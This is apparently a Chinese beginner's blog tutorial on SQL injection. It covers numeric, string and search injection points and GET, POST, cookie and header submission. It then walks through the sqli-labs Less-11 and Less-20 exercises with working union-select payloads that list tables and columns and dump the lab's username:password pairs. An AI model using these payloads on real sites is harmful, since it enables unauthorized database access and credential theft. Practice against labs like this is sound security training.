SQL注入零基础学习三数据类型与提交方式

目录

1.SQL注入之数据类型

1.1数字型注入点

1.2字符型注入点

1.3搜索型注入点

1.4其他类型注入点

2.SQL注入之数据提交方式

2.1GET方式注入

2.2 POST方式注入

2.3Request方式注入

2.4HTTP头注入

2.5Header头部注入

3.SQL注入靶场案例练习

3.1** Less-11** POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

爆库payload

查表

查字段

查数据

3.2**Less-20** POST - Cookie injections - Uagent field  - Error based (基于错误的cookie头部POST注入)

直接cookie注入,进行绕过查库

查表

查字段

查数据


1.SQL注入之数据类型

1.1数字型注入点

许多网页链接有类似的结构 http://xxx.com/users.php?id=1这种形式;
其注入点id类型为数字型,叫做数字型注入点,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。
这一类的 SQL 语句原型大概为
`select * from 表名 where id=1`
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
`select * from 表名 where id=1 and 1=1`

1.2字符型注入点

网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式;
其注入点 name 类型为字符类型,所以叫字符型注入点。
这一类的 SQL 语句原型大概为
`select * from 表名 where name='admin'`
值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
`select * from 表名 where name='admin' and 1=1 '`
我们需要将这些烦人的引号给处理掉。

1.3搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 `"keyword=关键字"` 有的不显示在的链接地址里面,而是直接通过搜索框表单提交。
此类注入点提交的 SQL 语句,其原形大致为:
`select * from 表名 where 字段 like '%关键字%'`
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:
`select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'`

1.4其他类型注入点

其他型:也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:
其本质为(xx') or 1=1 # )
常见的闭合符号:'     ''    %     (      {


2.SQL注入之数据提交方式

2.1GET方式注入

get注入方式比较常见,主要是通过url中传输数据到后台,带入到数据库中去执行,可利用联合注入方式直接注入;
应用场景:对于传递的数据不敏感;
                  安全性不高;
                  长度限制在2KB;
                  速度非常快;

2.2 POST方式注入

post提交方式直接传递给服务器
应用场景:主要适用于表单的提交,用于登录框的注入
                  安全性高:
                  长度不限;
                  速度不快;

方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示

2.3Request方式注入

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

2.4HTTP头注入

通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分

2.5Header头部注入

header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。

3.SQL注入靶场案例练习

3.1** Less-11** POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

**用burpsuit,抓包修改参数**

联合查询union select测试payload

uname=-1' union select 1,2  --+&passwd=admin&submit=Submit

爆库payload

uname=-1' union select 1,database() --+&passwd=admin&submit=Submit

security

查表

uname=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+&passwd=admin&submit=Submit

emails,referers,uagents,users

查字段

uname=-1' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 -- &passwd=admin&submit=Submit

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查数据

uname=-1' union select 1,(select group_concat(username,0x3a,password)from users) -- &passwd=admin&submit=Submit

3.2**Less-20** POST - Cookie injections - Uagent field  - Error based (基于错误的cookie头部POST注入)

单引号,报错型,cookie型注入。

存在自带的魔术引号会给注入自动添加\

存在cookie

直接cookie注入,进行绕过查库

Cookie: uname=-admin' union select 1,2,database()--+

查表

Cookie: uname=-admin' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

emails,referers,uagents,users

查字段

Cookie: uname=-admin' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

查数据

Cookie: uname=-admin' union select 1,(select group_concat(username,0x3a,password)from users),3 --+

Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值